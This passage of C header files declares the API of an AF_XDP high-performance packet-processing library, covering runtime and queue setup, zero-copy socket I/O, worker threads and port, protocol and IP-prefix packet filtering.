4 | #ifndef _XDP_RUNTIME_H_
5 | #define _XDP_RUNTIME_H_
6 |
7 | #include
8 |
9 | #include "xdp_framepool.h"
10 | #include "xdp_eth.h"
11 | #include "xdp_prog.h"
12 | #include "xdp_worker.h"
13 |
14 | #define xdp_runtime_likely(x) __builtin_expect(!!(x), 1)
15 | #define xdp_runtime_unlikely(x) __builtin_expect(!!(x), 0)
16 |
17 | #define XDP_PACKET_POLICY_DROP XDP_DROP
18 | #define XDP_PACKET_POLICY_KERNEL XDP_PASS
19 | #define XDP_PACKET_POLICY_DIRECT XDP_REDIRECT
20 | #define XDP_PACKET_POLICY_FOWARD XDP_TX
21 |
22 | #ifdef __cplusplus
23 | extern "C" {
24 | #endif
25 | struct xdp_runtime {
26 | uint32_t fill_size;
27 | uint32_t comp_size;
28 | uint32_t frame_size;
29 | uint32_t frame_headroom;
30 | uint32_t queue_size;
31 | uint32_t queue_count;
32 | uint32_t workers;
33 | int eth_numa_node;
34 | int numa_node;
35 | struct xdp_iface iface;
36 | struct xdp_mempool *mempool;
37 | xdp_worker_func_t worker_func;
38 | };
39 |
40 | #define XDP_RUNTIME_WORKER_ID xdp_worker_id
41 | int xdp_runtime_init(struct xdp_runtime *runtime,
42 | const char *ifname,
43 | const char *prog,
44 | const char *sec);
45 |
46 | void xdp_runtime_release(struct xdp_runtime *runtime);
47 |
48 | int xdp_runtime_setup_queue(struct xdp_runtime *runtime,
49 | size_t queue_count, size_t queue_size);
50 | int xdp_runtime_setup_workers(struct xdp_runtime *runtime,
51 | xdp_worker_func_t worker_func,
52 | unsigned short worker_count);
53 | int xdp_runtime_startup_workers(struct xdp_runtime *runtime);
54 | void xdp_runtime_setup_size(struct xdp_runtime *runtime,
55 | uint32_t fill_size, uint32_t comp_size,
56 | uint32_t frame_size, uint32_t frame_headroom);
57 | int xdp_runtime_setup_numa(struct xdp_runtime *runtime, int numa_node);
58 | int xdp_runtime_setup_rss_ipv4(
59 | struct xdp_runtime *runtime, int protocol);
60 | int xdp_runtime_setup_rss_ipv6(
61 | struct xdp_runtime *runtime, int protocol);
62 | int xdp_runtime_tcp_packet(uint16_t port);
63 | int xdp_runtime_tcp_drop(uint16_t port);
64 |
65 | int xdp_runtime_udp_packet(uint16_t port);
66 | int xdp_runtime_udp_drop(uint16_t port);
67 |
68 | int xdp_runtime_l3_packet(uint16_t l3_protocal);
69 | int xdp_runtime_l3_drop(uint16_t l3_protocal);
70 |
71 | int xdp_runtime_l4_packet(uint16_t l4_protocal);
72 | int xdp_runtime_l4_drop(uint16_t l4_protocal);
73 |
74 | int xdp_runtime_ipv4_packet(const char *ip, uint32_t prefix, int type);
75 | int xdp_runtime_ipv4_drop(const char *ip, uint32_t prefix, int type);
76 |
77 | int xdp_runtime_ipv6_packet(const char *ip, uint32_t prefix, int type);
78 | int xdp_runtime_ipv6_drop(const char *ip, uint32_t prefix, int type);
79 | #ifdef __cplusplus
80 | }
81 | #endif
82 | #endif
83 |
--------------------------------------------------------------------------------
/xdp_sock.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_SOCK_H_
5 | #define _XDP_SOCK_H_
6 | #include
7 | #include
8 |
9 | #include "xdp_eth.h"
10 | #include "xdp_dev.h"
11 | #include "xdp_framepool.h"
12 |
13 | #ifdef __cplusplus
14 | extern "C" {
15 | #endif
16 | struct xdp_rx_queue;
17 | struct xdp_tx_queue {
18 | struct xdp_umem_info *umem;
19 | char pad1[0] XDP_CACHE_ALIGN;
20 | struct xsk_ring_prod tx XDP_CACHE_ALIGN;
21 | char pad2[1] XDP_CACHE_ALIGN;
22 | struct xdp_rx_queue *pair;
23 | int queue_index;
24 | } XDP_CACHE_ALIGN;
25 |
26 | struct xdp_rx_queue {
27 | struct xdp_umem_info *umem;
28 | char pad1[0] XDP_CACHE_ALIGN;
29 | struct xsk_ring_cons rx XDP_CACHE_ALIGN;
30 | char pad2[0] XDP_CACHE_ALIGN;
31 | struct xsk_socket *xsk;
32 | struct xdp_framepool *framepool;
33 | struct xdp_tx_queue *pair;
34 | struct pollfd fds[1];
35 | int queue_index;
36 | } XDP_CACHE_ALIGN;
37 | int xdp_sock_configure(struct xdp_iface *iface,
38 | struct xdp_rx_queue *rxq, uint32_t queue_size,
39 | struct xdp_umem_info_pool *umem_pool);
40 | int xdp_sock_rx_zc(struct xdp_rx_queue *rxq, struct xdp_frame **bufs,
41 | uint16_t buf_len);
42 | int xdp_sock_tx_zc(struct xdp_tx_queue *txq, struct xdp_frame **bufs,
43 | uint16_t buf_len);
44 | #ifdef __cplusplus
45 | }
46 | #endif
47 | #endif
48 |
--------------------------------------------------------------------------------
/xdp_worker.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying, email hy_gzr@163.com
3 | */
4 | #ifndef _XDP_WORKER_H_
5 | #define _XDP_WORKER_H_
6 | #define XDP_MAX_WORKER (128)
7 |
8 | #ifdef __cplusplus
9 | extern "C" {
10 | #endif
11 | #define XDP_WORKER_FOREACH(i) \
12 | for (i = xdp_worker_get_next(-1); i < XDP_MAX_WORKER; i = xdp_worker_get_next(i))
13 |
14 | #define XDP_WORKER_FOREACH_ALL(i) \
15 | for (i = 0; i < XDP_MAX_WORKER; i++)
16 |
17 | extern __thread unsigned short xdp_worker_id;
18 |
19 | typedef int (*xdp_worker_func_t) (volatile void *);
20 | void xdp_workers_init(void);
21 | void xdp_workers_stop(void);
22 | int xdp_worker_start(xdp_worker_func_t func, void *arg);
23 | int xdp_worker_start_by_id(unsigned short worker_id,
24 | xdp_worker_func_t func, void *arg);
25 | void xdp_workers_wait(void);
26 | unsigned xdp_worker_get_numa_node(unsigned short worker_id);
27 | short xdp_worker_get_next(short i);
28 | unsigned short xdp_workers_enable_by_numa(int numa_node, unsigned short count);
29 | unsigned short xdp_workers_enable(unsigned short count);
30 | void xdp_workers_run(void);
31 | #ifdef __cplusplus
32 | }
33 | #endif
34 | #endif
35 |
--------------------------------------------------------------------------------